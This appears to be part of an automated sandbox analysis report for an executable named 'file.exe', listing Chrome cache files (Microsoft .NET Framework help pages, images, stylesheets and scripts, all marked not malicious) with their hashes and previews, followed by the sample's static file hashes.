SHA-512:	3DCA7F8C7C2997D473B2B80916F3E976167BA06300E915CB301DB2A024A826B9E8D3A60B6111835A5FB9A3273B4080D89351F664F9CC410C18B7F76327C326AE
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/toc.json
Preview:	{"items":[{"href":"./","toc_title":".NET Framework documentation"},{"href":"get-started/overview","toc_title":"Overview of .NET Framework"},{"children":[{"href":"get-started/","toc_title":"Overview"},{"href":"get-started/out-of-band-releases","toc_title":"Out-of-band releases"},{"href":"get-started/system-requirements","toc_title":"System requirements"}],"toc_title":"Get started"},{"children":[{"href":"install/","toc_title":"Overview"},{"href":"install/guide-for-developers","toc_title":"For developers"},{"children":[{"href":"install/on-windows-11","toc_title":"Windows 11"},{"href":"install/on-windows-10","toc_title":"Windows 10 and Windows Server 2016"},{"href":"install/on-windows-8-1","toc_title":"Windows 8.1 and Windows Server 2012 R2"},{"href":"install/on-windows-8","toc_title":"Windows 8 and Windows Server 2012"},{"href":"install/on-server-2022","toc_title":"Windows Server 2022"},{"href":"install/on-server-2019","toc_title":"Windows Server 2019"}],"toc_title":"By OS version"},{"hre

Chrome Cache Entry: 127

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 475 x 212, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	35005
Entropy (8bit):	7.980061050467981
Encrypted:	false
SSDEEP:	768:aHBEr/QXnbCgWotMq4AZZivq2/Qu0cEv1FjHBep6U0Z/68R:ahWqbTWiM7ACvdIdldhep4rR
MD5:	522037F008E03C9448AE0AAAF09E93CB
SHA1:	8A32997EAB79246BEED5A37DB0C92FBFB006BEF2
SHA-256:	983C35607C4FB0B529CA732BE42115D3FCAAC947CEE9C9632F7CACDBDECAF5A7
SHA-512:	643EC613B2E7BDBB2F61E1799C189B0E3392EA5AE10845EB0B1F1542A03569E886F4B54D5B38AF10E78DB49C71357108C94589474B181F6A4573B86CF2D6F0D8
Malicious:	false
Preview:	.PNG........IHDR..............[.U....sRGB.........gAMA......a.....pHYs..........+.....RIDATx^..`........B hpwww(PJ....R.B.....K[j....@ H ..r:...].P._.`...K.ffg.v.ygf.TM.4.m...`.D".H$......"##..2e.X.t..Y".H$...d..PK.V".H$..uVm.,.H$.....b+.H$.I-#.V".H$.ZF..D".H$...[.D".Hj.)...D"..2Rl%..D".e..J$..DR.H..H$.....b+.H$..9..Neee.X,.B.\/.....o.b+.H$..9...q...EHU....p.....=z....b.7.q..........N.. ....cUAX.9...m'_...2.`.g{...4.H.9.p.4...K ^.....`.\|.n..]..m..`W..W.H.~..\|.^.a..K.6......_....K..w....9......^.....&...R....[...w..Ix=.:..^/..Epp0.5.....QRR...l....S.b.5.c.6...5..8.\....z...I......&.>....../.{.=...]'c......[.E`@Cg......Z.....c.f..,.y\|,.{.o@.j..2..:.&l4.{.]Ll.N.0..b:b...g.n.........I...Ewc....[..,i`v......F...il\|.c,{.-.....%BP.U........y.x....6..E2..n.W...J .*..`..r....F....#BCC......\|.L&........O...'........\.....;...q.n$...7...ga..x....)..A...0.{1..'1../...+yRC...W.-..b..c0dDG...U[po....2eG.G.../.@........h.:.k?.......Q...

Chrome Cache Entry: 128

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 658 x 480, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	13842
Entropy (8bit):	7.802399161550213
Encrypted:	false
SSDEEP:	192:NLNf+jBQsDHg7av3EEondO8PuRu2mIYXEIiDm42NpsHFMHfgnJ4K2DVwv:NLt+1jDmY+ndXwjLUpiDwpzfwoDVk
MD5:	F6EC97C43480D41695065AD55A97B382
SHA1:	D9C3D0895A5ED1A3951B8774B519B8217F0A54C5
SHA-256:	07A599FAB1E66BABC430E5FED3029F25FF3F4EA2DD0EC8968FFBA71EF1872F68
SHA-512:	22462763178409D60609761A2AF734F97B35B9A818EC1FD9046AFAB489AAD83CE34896EE8586EFE402EA7739ECF088BC2DB5C1C8E4FB39E6A0FC5B3ADC6B4A9B
Malicious:	false
Preview:	.PNG........IHDR................1....sRGB.........gAMA......a.....pHYs..........o.d..5.IDATx^..[.,.]...../<.!.B(/y..).F\r...!(.H..a ..B.~..A..KXA.M...6..8...!1....l./.X.1....2.`.y"l..R...V.....{...}._gWW.Z.VUw.N...U..P@..... ..@.A...".$..E.I.........$..("H..PD..... ..p....U.}.{.....l..A.....A........s.......D.0...@....E..x........L. /.".A.....$...Y."...%.I..["../.&.I..[`.0..IA.........p4.I.........$..("H..PD..... ..@.A...".$..E.I.........$..("H..PD..... ..@.A...".$..E.>H...O.................?.~.......].7.....a?....(H....m.G..G..a.P..?yo......f?...o. .B.....mo{[....:9<].....7.....a.....S..Cd.5,.R....#....>......._g.....Wo\|.....z.g.........w.T...]x.>.....y(.........6....[..px...U....~.~hu...}H.......~.L... ....r...iY.$..Id..Ax"../....._..U....OTo\|.Mh.km..A.k..k....n.C`\|._\=...o...a.e.. ...&.A2..k.. ....X.+...C..P....y..>.{._..(H....8(.?...w.}M.........:s_!.m.........BY..T..z.5{.W.~..6.....F....bq....m.....?.......v....o..o...ki...iX.$......\]V...V...

Chrome Cache Entry: 129

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	4897
Entropy (8bit):	4.8007377074457604
Encrypted:	false
SSDEEP:	96:A0AIvEQ+KfZcbhaW9dp45qtAdflfDOFnymoLByzfwqrLvJ4QG63JkRJ+dRp8TJHr:dgQ+KfZcbhaWjp45qtAdflfDOFnNgByQ
MD5:	0E78F790402498FA57E649052DA01218
SHA1:	9ED4D0846DA5D66D44EE831920B141BBF60A0200
SHA-256:	73F3061A46EA8FD11D674FB21FEEEFE3753FC3A3ED77224E7F66A964C0420603
SHA-512:	B46E4B90E53C7DABC7208A6FDAE53F25BD70FCFBBEF03FFC64B1B5D1EB1C01C870A7309DF167246FCCD114B483038A64D7C46CA3B9FCB3779A77E42DB6967051
Malicious:	false
Preview:	{"callToAction":{"primary":{"biName":"download-dotnet","href":"https://dotnet.microsoft.com/download","kind":"link","title":"Download .NET"}},"category":{"biName":"dotnet","href":"/dotnet/","kind":"link","title":".NET"},"items":[{"biName":"1-languages","items":[{"biName":"1-c-sharp","href":"/dotnet/csharp/","kind":"link","title":"C#"},{"biName":"2-f-sharp","href":"/dotnet/fsharp/","kind":"link","title":"F#"},{"biName":"3-visual-basic","href":"/dotnet/visual-basic/","kind":"link","title":"Visual Basic"}],"kind":"menu","title":"Languages"},{"biName":"2-features","items":[{"biName":"1-fundamental","href":"/dotnet/fundamentals/","kind":"link","title":"Fundamentals"},{"biName":"2-tools-and-diagnostics","href":"/dotnet/navigate/tools-diagnostics/","kind":"link","title":"Tools and diagnostics"},{"biName":"3-ai","items":[{"biName":"1-generative-ai","href":"/dotnet/ai/","kind":"link","title":"Generative AI"},{"biName":"2-mlnet","href":"/dotnet/machine-learning/","kind":"link","title":"ML.NET"}]

Chrome Cache Entry: 130

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (639), with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	47062
Entropy (8bit):	5.016115705165622
Encrypted:	false
SSDEEP:	768:haAE16LIElO6L6x2bTI1ln4a1T0MCFnFMBVeZrdLg:hTAGLlO6eAbTIr4audZqBkZRLg
MD5:	B7BA0F1B4D3EE09BD4C1DD5EE8FA2633
SHA1:	A5725E0BD2E4DE3EB07E9C468306615CD0CE6955
SHA-256:	411BCF8F95DAF3C6D0BEBDFA4DDEFD0F947D2083C1A27BDD0E5D19BB6F299838
SHA-512:	59F535B445302E8A8398F02F7729D16236C629EB0967833257F8BA391A4E93B3A23A5FA3D64127EC117B8D93A6D7A9B86EBCB4B6E6F96CFF3B4DB3EE3C5F4844
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Preview:	<!DOCTYPE html><html..class="hasSidebar hasPageActions hasBreadcrumb conceptual has-default-focus theme-light"..lang="en-us"..dir="ltr"..data-authenticated="false"..data-auth-status-determined="false"..data-target="docs"..x-ms-format-detection="none">..<head>..<meta charset="utf-8" />..<meta name="viewport" content="width=device-width, initial-scale=1.0" />..<meta property="og:title" content="Fix .NET Framework 'This application could not be started' - .NET Framework" />..<meta property="og:type" content="website" />..<meta property="og:url" content="https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started" /><meta property="og:description" content="Learn what to do if you see a 'This application could not be started' dialog box when running a .NET Framework application." /><meta property="og:image" content="https://learn.microsoft.com/dotnet/media/dotnet-logo.png" />...<meta property="og:image:alt" content="Fix .NET Framework 'This application could not be st

Chrome Cache Entry: 131

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	3130
Entropy (8bit):	4.790069981348324
Encrypted:	false
SSDEEP:	48:YWuGl640ynAqgDJ9OJWuO6Z3Db8VgK/ni47ttbtlSlA37ERw7II77Aj5M1:Nv0ynAhD3CO5t5lNEYIOEjc
MD5:	EBA6E81304F2F555E1D2EA3126A18A41
SHA1:	61429C3FE837FD4DD68E7B26678F131F2E00070D
SHA-256:	F309CCCE17B2B4706E7110F6C76F81761F0A44168D12C358AC4D120776907F81
SHA-512:	3BE0466794E7BDDC8565758DBF5553E89ED0003271F07695F09283F242BB65C1978ED79A38D5E589A99F68C0130E1E4B52576D7CD655EE272EE104BE0378E72E
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/breadcrumb/toc.json
Preview:	{"items":[{"children":[{"children":[{"homepage":"/dotnet/api/index","href":"/dotnet/api/","toc_title":"API browser"},{"homepage":"/dotnet/csharp/index","href":"/dotnet/csharp/","toc_title":"C#"},{"homepage":"/dotnet/fsharp/index","href":"/dotnet/fsharp/","toc_title":"F#"},{"homepage":"/dotnet/visual-basic/index","href":"/dotnet/visual-basic/","toc_title":"Visual Basic"},{"homepage":"/dotnet/ai/index","href":"/dotnet/ai/","toc_title":"AI"},{"homepage":"/dotnet/azure/index","href":"/dotnet/azure/","toc_title":"Azure"},{"homepage":"/dotnet/aspire/index","href":"/dotnet/aspire/","toc_title":".NET Aspire"},{"homepage":"/dotnet/orleans/index","href":"/dotnet/orleans/","toc_title":"Orleans"},{"children":[{"homepage":"/dotnet/framework/unmanaged-api/","href":"/dotnet/framework/unmanaged-api/","toc_title":"Unmanaged API reference"}],"homepage":"/dotnet/framework/index","href":"/dotnet/framework/","toc_title":".NET Framework"},{"children":[{"homepage":"/dotnet/architecture/modern-web-apps-azure/

Chrome Cache Entry: 132

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	18367
Entropy (8bit):	7.7772261735974215
Encrypted:	false
SSDEEP:	384:4qqZYz7CAda2Qmd6VWWNg9h8XvdkRbdi2nki:1qZYz7Cma2hYNMh8XvdObdi2nX
MD5:	240C4CC15D9FD65405BB642AB81BE615
SHA1:	5A66783FE5DD932082F40811AE0769526874BFD3
SHA-256:	030272CE6BA1BECA700EC83FDED9DBDC89296FBDE0633A7F5943EF5831876C07
SHA-512:	267FE31BC25944DD7B6071C2C2C271CCC188AE1F6A0D7E587DCF9198B81598DA6B058D1B413F228DF0CB37C8304329E808089388359651E81B5F3DEC566D0EE0
Malicious:	false
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..GTIDATx^._.}.U.7..BkB.......!E......b.Ej.K...Z...iK.$..h..B`..T.?5.7.I..16$.E.......c...c...Q_V.k...k..g.y.9..G.g..g.9.Z{..Z{.nv....@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...<@v.].../.1R'm.....x..h.....]a1U7........s.......x.h.q.A! ....8IL\GP..............M...W.............D.....dJ<.+,.........W...pgAT...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.;/..G....O~..O~...'?......h.....}.y..4/....S..........Y......?..?.g7...G...............x{..w..y.~.9.~.y....y.#.c....<.E.............^..7G.._.u.nv/..f........5.....5?.;...w.....i~.?\|..H+Dd.....Y%....r~.$Q...7.v..._hv..r.O_.4..7M.6....o..=..?....3....?.....xE...O..7....^......D.W....m...6........O..Ob.4.9J........6.;..>.,.....o.l..>%J.V......%k..0.bQqIA..O..y.{.....7.......4_..Za...4.o.....h..........k...M...i....G.4...h.L.#...&.'%...~j..W.*Kx......o.%s.m

Chrome Cache Entry: 91

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	13339
Entropy (8bit):	7.683569563478597
Encrypted:	false
SSDEEP:	192:zjSKAj04ndWb6OuzZjk6TsEaJS0/bJur2Gz4Imm3MhE4NfM:zutfW69XTspsG3G0TfhEQM
MD5:	512625CF8F40021445D74253DC7C28C0
SHA1:	F6B27CE0F7D4E48E34FDDCA8A96337F07CFFE730
SHA-256:	1D4DCEE8511D5371FEC911660D6049782E12901C662B409A5C675772E9B87369
SHA-512:	AE02319D03884D758A86C286B6F593BDFFD067885D56D82EEB8215FDCB41637C7BB9109039E7FBC93AD246D030C368FB285B3161976ED485ABC5A8DF6DF9A38C
Malicious:	false
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..3.IDATx^..].5Y...C.$..tH .NF.I&A0..;.r.fF.#..!7...'..3.0.../..s....."!.y...~....4....om.g.3.BTP......j..g.zVU....u...a.Z..j..U....y......$.....I...pAR...\.T....$.....I...pAR...\.T..p....5O>.d...}Rg.$....@.4....fb1.o.I...7..<.P.....n0.D.P.....n..L.P.....n8.......P.~......n(+..'. ......J.vM,H......W...h.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$.....I...pAR...\.T....$......'....w....g....\|../5_.......T...~.y.'.'.\|...W..[...C.)......\|.[.[WK...w...w..y.{..\|.#.n>...5....5...h>..O6O>.Xx....o.B........g?.........~....?o...w.......}..-_k^........l....\|.D.TH.....o..B'..(.W-%...?...W.......E?h..........~.......?...~,..}...o^...5ox..bI.mo{[s.}.5.<.L.......<......Y.W......K..Q._...Iu...2...e)d]4.}Y..............k.%k..s.'..L(..o4...g...z............N.X.....W.O.^.4.....7......i~._7..~,bI......3.0RRq..\|.Mk..?.{.K_...t.........SYG.W^#).N^..._W...(.8.7.....W....7...m

Chrome Cache Entry: 92

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	18367
Entropy (8bit):	7.7772261735974215
Encrypted:	false
SSDEEP:	384:4qqZYz7CAda2Qmd6VWWNg9h8XvdkRbdi2nki:1qZYz7Cma2hYNMh8XvdObdi2nX
MD5:	240C4CC15D9FD65405BB642AB81BE615
SHA1:	5A66783FE5DD932082F40811AE0769526874BFD3
SHA-256:	030272CE6BA1BECA700EC83FDED9DBDC89296FBDE0633A7F5943EF5831876C07
SHA-512:	267FE31BC25944DD7B6071C2C2C271CCC188AE1F6A0D7E587DCF9198B81598DA6B058D1B413F228DF0CB37C8304329E808089388359651E81B5F3DEC566D0EE0
Malicious:	false
URL:	https://learn.microsoft.com/en-us/dotnet/framework/install/media/application-not-started/repair-tool-no-resolution.png
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..GTIDATx^._.}.U.7..BkB.......!E......b.Ej.K...Z...iK.$..h..B`..T.?5.7.I..16$.E.......c...c...Q_V.k...k..g.y.9..G.g..g.9.Z{..Z{.nv....@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...<@v.].../.1R'm.....x..h.....]a1U7........s.......x.h.q.A! ....8IL\GP..............M...W.............D.....dJ<.+,.........W...pgAT...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.D....T.Q....U@T...@......P.;/..G....O~..O~...'?......h.....}.y..4/....S..........Y......?..?.g7...G...............x{..w..y.~.9.~.y....y.#.c....<.E.............^..7G.._.u.nv/..f........5.....5?.;...w.....i~.?\|..H+Dd.....Y%....r~.$Q...7.v..._hv..r.O_.4..7M.6....o..=..?....3....?.....xE...O..7....^......D.W....m...6........O..Ob.4.9J........6.;..>.,.....o.l..>%J.V......%k..0.bQqIA..O..y.{.....7.......4_..Za...4.o.....h..........k...M...i....G.4...h.L.#...&.'%...~j..W.*Kx......o.%s.m

Chrome Cache Entry: 93

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1154
Entropy (8bit):	4.59126408969148
Encrypted:	false
SSDEEP:	24:txFRuJpzYeGK+VS6ckNL2091JP/UcHc8oQJ1sUWMLc/jH6GbKqjHJIOHA:JsfcU6ckNL2091Z/U/YsUDM+GhS
MD5:	37258A983459AE1C2E4F1E551665F388
SHA1:	603A4E9115E613CC827206CF792C62AEB606C941
SHA-256:	8E34F3807B4BF495D8954E7229681DA8D0DD101DD6DDC2AD7F90CD2983802B44
SHA-512:	184CB63EF510143B0AF013F506411C917D68BB63F2CFA47EA2A42688FD4F55F3B820AF94F87083C24F48AACEE6A692199E185FC5C5CFBED5D70790454EED7F5C
Malicious:	false
Preview:	<svg width="456" height="456" viewBox="0 0 456 456" fill="none" xmlns="http://www.w3.org/2000/svg">..<rect width="456" height="456" fill="#512BD4"/>..<path d="M81.2738 291.333C78.0496 291.333 75.309 290.259 73.052 288.11C70.795 285.906 69.6665 283.289 69.6665 280.259C69.6665 277.173 70.795 274.529 73.052 272.325C75.309 270.121 78.0496 269.019 81.2738 269.019C84.5518 269.019 87.3193 270.121 89.5763 272.325C91.887 274.529 93.0424 277.173 93.0424 280.259C93.0424 283.289 91.887 285.906 89.5763 288.11C87.3193 290.259 84.5518 291.333 81.2738 291.333Z" fill="white"/>..<path d="M210.167 289.515H189.209L133.994 202.406C132.597 200.202 131.441 197.915 130.528 195.546H130.044C130.474 198.081 130.689 203.508 130.689 211.827V289.515H112.149V171H134.477L187.839 256.043C190.096 259.57 191.547 261.994 192.192 263.316H192.514C191.977 260.176 191.708 254.859 191.708 247.365V171H210.167V289.515Z" fill="white"/>..<path d="M300.449 289.515H235.561V171H297.87V187.695H254.746V221.249H294.485V237.861H254.746V

Chrome Cache Entry: 94

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	16
Entropy (8bit):	3.875
Encrypted:	false
SSDEEP:	3:HMB:k
MD5:	0B04EA412F8FC88B51398B1CBF38110E
SHA1:	E073BCC5A03E7BBA2A16CF201A3CED1BE7533FBF
SHA-256:	7562254FF78FD854F0A8808E75A406F5C6058B57B71514481DAE490FC7B8F4C3
SHA-512:	6D516068C3F3CBFC1500032E600BFF5542EE30C0EAC11A929EE002C707810BBF614A5586C2673EE959AFDF19C08F6EAEFA18193AD6CEDC839BDF249CF95E8079
Malicious:	false
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xNDkSEAkEurwx6c-nJBIFDb_mJfI=?alt=proto
Preview:	CgkKBw2/5iXyGgA=

Chrome Cache Entry: 95

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3130
Entropy (8bit):	4.790069981348324
Encrypted:	false
SSDEEP:	48:YWuGl640ynAqgDJ9OJWuO6Z3Db8VgK/ni47ttbtlSlA37ERw7II77Aj5M1:Nv0ynAhD3CO5t5lNEYIOEjc
MD5:	EBA6E81304F2F555E1D2EA3126A18A41
SHA1:	61429C3FE837FD4DD68E7B26678F131F2E00070D
SHA-256:	F309CCCE17B2B4706E7110F6C76F81761F0A44168D12C358AC4D120776907F81
SHA-512:	3BE0466794E7BDDC8565758DBF5553E89ED0003271F07695F09283F242BB65C1978ED79A38D5E589A99F68C0130E1E4B52576D7CD655EE272EE104BE0378E72E
Malicious:	false
Preview:	{"items":[{"children":[{"children":[{"homepage":"/dotnet/api/index","href":"/dotnet/api/","toc_title":"API browser"},{"homepage":"/dotnet/csharp/index","href":"/dotnet/csharp/","toc_title":"C#"},{"homepage":"/dotnet/fsharp/index","href":"/dotnet/fsharp/","toc_title":"F#"},{"homepage":"/dotnet/visual-basic/index","href":"/dotnet/visual-basic/","toc_title":"Visual Basic"},{"homepage":"/dotnet/ai/index","href":"/dotnet/ai/","toc_title":"AI"},{"homepage":"/dotnet/azure/index","href":"/dotnet/azure/","toc_title":"Azure"},{"homepage":"/dotnet/aspire/index","href":"/dotnet/aspire/","toc_title":".NET Aspire"},{"homepage":"/dotnet/orleans/index","href":"/dotnet/orleans/","toc_title":"Orleans"},{"children":[{"homepage":"/dotnet/framework/unmanaged-api/","href":"/dotnet/framework/unmanaged-api/","toc_title":"Unmanaged API reference"}],"homepage":"/dotnet/framework/index","href":"/dotnet/framework/","toc_title":".NET Framework"},{"children":[{"homepage":"/dotnet/architecture/modern-web-apps-azure/

Chrome Cache Entry: 96

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 533 x 478, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	15427
Entropy (8bit):	7.784472070227724
Encrypted:	false
SSDEEP:	384:CKKdvwj3SJMpKKKKKKKKikCyKwqHILyPGQV4ykihKKKKKKKCm:CKKdvMMgKKKKKKKKiqB3yPVXkihKKKKI
MD5:	3062488F9D119C0D79448BE06ED140D8
SHA1:	8A148951C894FC9E968D3E46589A2E978267650E
SHA-256:	C47A383DE6DD60149B37DD24825D42D83CB48BE0ED094E3FC3B228D0A7BB9332
SHA-512:	00BBA6BCBFBF44B977129594A47F732809DCE7D4E2D22D050338E4EEA91FCC02A9B333C45EEB4C9024DF076CBDA0B46B621BF48309C0D037D19BBEAE0367F5ED
Malicious:	false
Preview:	.PNG........IHDR.............,#......sRGB.........gAMA......a.....pHYs..........o.d..;.IDATx^..].u.Y..M....B.X...".......@.ZzSys..,H{.Rz!... .......WM.IN..9n..I....g...p<P.0-....\|...X..s...Z.Y{....w..5.._s..x...E.......... ..................... ..................{....2. ...`.$h.......)....,T-x.5......,.."..(.A.......>.. ...`......4..G.\|.....,T-..'. ...`....]........?~.....A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.T..........A...pAP...\.}P../}....TJ...'.O...'?......XH...K..>.b..K/t...o.......T.._.E.....q.$.x..qJ......mo...ww.}.{....W..._...._.^z...........(^x..C..P.../.........U..]../u.....w..{.O.N..o.l........_.^...2.....*....<...iP.W...o......]..+.?}c...t!.....p.=..._x..._yo....?....~u.c?.c1'.....{.^.}.S...5.yMx./.>.lwqq.}.....g..g1wZ..%......h.i[..%ul.&..U.k..";7-.9.6...s..s..0.......}.s..?...c..X...\|..........>.x..o.?.?..{........n..o....]?....Ej..yuu5...A.}....5...^...f........s.qJ..SYF.V...'..q.......T..'..z.....

Chrome Cache Entry: 97

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	464328
Entropy (8bit):	5.074669864961383
Encrypted:	false
SSDEEP:	6144:XegPryKCerH5dyUJ6Yh6BFPDxZYX04GK7M4:gKCerXyUh
MD5:	CB0701D474D57F8C8E2F569161CE0349
SHA1:	4BE2E0C148DED16354E7A91FE721644897C5503C
SHA-256:	AD52B36EA7D484522BA3382718BD370E6804F7B46AD3BE821D94AF81D66F40EB
SHA-512:	BB54B08F64F85498D6592C614F844842CD87BA5A9127B1D2B8AFAEC8086DE171642EA2D241708C9D06DEFDDFA04A4189AAD4814AFD15303C6481F23793CD2D3F
Malicious:	false
URL:	https://learn.microsoft.com/static/assets/0.4.028726178/styles/site-ltr.css
Preview:	.CodeMirror{height:300px;color:#000;direction:ltr;font-family:monospace}.CodeMirror-lines{padding:4px 0}.CodeMirror pre.CodeMirror-line,.CodeMirror pre.CodeMirror-line-like{padding:0 4px}.CodeMirror-scrollbar-filler,.CodeMirror-gutter-filler{background-color:#fff}.CodeMirror-gutters{white-space:nowrap;background-color:#f7f7f7;border-right:1px solid #ddd}.CodeMirror-linenumber{min-width:20px;text-align:right;color:#999;white-space:nowrap;padding:0 3px 0 5px}.CodeMirror-guttermarker{color:#000}.CodeMirror-guttermarker-subtle{color:#999}.CodeMirror-cursor{width:0;border-left:1px solid #000;border-right:none}.CodeMirror div.CodeMirror-secondarycursor{border-left:1px solid silver}.cm-fat-cursor .CodeMirror-cursor{width:auto;background:#7e7;border:0!important}.cm-fat-cursor div.CodeMirror-cursors{z-index:1}.cm-fat-cursor .CodeMirror-line::selection,.cm-fat-cursor .CodeMirror-line>span::selection,.cm-fat-cursor .CodeMirror-line>span>span::selection{background:0 0}.cm-fat-cursor{caret-color:#0

Chrome Cache Entry: 98

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65410)
Category:	dropped
Size (bytes):	179335
Entropy (8bit):	5.435182897681627
Encrypted:	false
SSDEEP:	3072:Wx2fZBMb0y0Xi13tL9+pjXDMe/m7GG3/lHNVa:Wof3G0NSkNzMeO7z/l3a
MD5:	517954FBCEBC2B0669606202492A4888
SHA1:	404819BEF2964D493DF3CB29102719025BEA48AF
SHA-256:	211DF9427FF68A7AA97490D30BABCEC089295E6219D461DD2946D24FE919DAEF
SHA-512:	21F79D8CB099D874CB2AD32BCE04ADBDE919F3499363E51FE875C0EB409A4EEF555F349351DAB84E39214E26F5320E6E472C0A6A7C06A4CA9EFD1421174CA0C3
Malicious:	false
Preview:	/!. 1DS JSLL SKU, 4.3.3. * Copyright (c) Microsoft and contributors. All rights reserved.. * (Microsoft Internal Only). */.!function(e,t){var n="undefined";if("object"==typeof exports&&typeof module!=n)t(exports);else if("function"==typeof define&&define.amd)define(["exports"],t);else{var r,i,e=typeof globalThis!=n?globalThis:e\|\|self,a={},o="__ms$mod__",c={},u=c.es5_ms_jsll_4_3_3={},s="4.3.3",l="oneDS4",f=(f=e)[l]=f[l]\|\|{},d=(d=e)[l="oneDS"]=d[l]\|\|{},e=f[o]=f[o]\|\|{},p=e.v=e.v\|\|[],l=d[o]=d[o]\|\|{},g=l.v=l.v\|\|[];for(i in(l.o=l.o\|\|[]).push(c),t(a),a)r="x",f[i]=a[i],p[i]=s,typeof d[i]==n?(r="n",(d[i]=a[i])&&(g[i]=s)):g[i]\|\|(g[i]="---"),(u[r]=u[r]\|\|[]).push(i)}}(this,function(f){"use strict";var d="function",p="object",se="undefined",ie="prototype",g=Object,h=g[ie];function y(e,t){return e\|\|t}var C,Ce=undefined,m=null,b="",T="function",I="object",E="prototype",_="__proto__",S="undefined",x="constructor",N="Symbol",D="_polyfill",A="length",w="name",be="call",k="toString",P=y(Object),O=P[E]

Chrome Cache Entry: 99

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	25553
Entropy (8bit):	5.151188042622345
Encrypted:	false
SSDEEP:	768:63jLjnjrjGjXMQjtzjMFzXYfv1gWj/rlOVqnACpK3o3hhl0OU2/8BlsRw/6szFrm:aHBCv11pOVqlh382/rIN1e
MD5:	D357ED8DD1D920114803DC625D55142A
SHA1:	66167DDA36F3BEA541A4B0D3D77FD0C6377C4397
SHA-256:	55FB71123142CABEC0F91C859ABF49285DE1B0F2F8D68DADCE6C468B9E785BCA
SHA-512:	16C2AAA30179894B18D4EC851D8E44669B5064EC697C3D7E7E105DC9D5583AF04179D2FBE7EEFC89016C9CA1608863CEFD6DB3B3734F55EF506462F148465EA9
Malicious:	false
Preview:	{"banners":[{"content":{"text":"You may experience reduced functionality with empty pages and broken links. Development is in progress to improve your experience."},"dismissable":false,"location":"sectional","scope":{"accessLevels":["isolated"],"endDate":"2030-01-01T00:00:00-00:00","paths":["/samples/browse/","/lifecycle/products/","/dotnet/api/","/javascript/api/","/java/api/","/powershell/module/","/python/api/","/rest/api/","/assessments/"],"startDate":"2020-10-01T05:00:00-04:00"},"uid":"development-in-progress-isolated"},{"content":{"link":{"href":"/en-us/answers/questions/1657059/the-subscription-is-not-allowed-to-create-or-updat","title":"View discussion"},"text":"App Service deployment: subscription \u0027xxxxxxxx\u0027 is not allowed to create or update the server farm."},"dismissable":true,"location":"sectional","scope":{"accessLevels":["online"],"endDate":"2024-05-24T07:34:00.000Z","paths":["/answers/tags/436/azure-app-service"],"startDate":"2024-04-22T07:34:00.000Z"},"uid":"

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.947927936726051
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'793'536 bytes
MD5:	8eb01ab47a3558db23ebcb5c3fd0cba6
SHA1:	2a88a18bbc5e783f253bb7a45e38c35ccdd93653
SHA256:	068497e046e9612da53294fb1d535e294edae402cfaf5da194223c46eceaba3e
SHA512:	3ea19e788d0baefd09ad64ff899060210b8f52e3ffc90c8e4bc62d5f28341b1222fcc71bc3306d176c4abc3564ac0f4d33e4c094c50e72c31f5ea9c75e8395d0
SSDEEP:	49152:gxwp725YnyBnsecqfxSxQJTJ9Ri28o2HLxHPa+:KwB2Cn2wqppBJC20xva+
TLSH:	5F8533174BBB25E3EED826B499524E5E2531B1034282C0F43695166EFCEBF363DB2E41
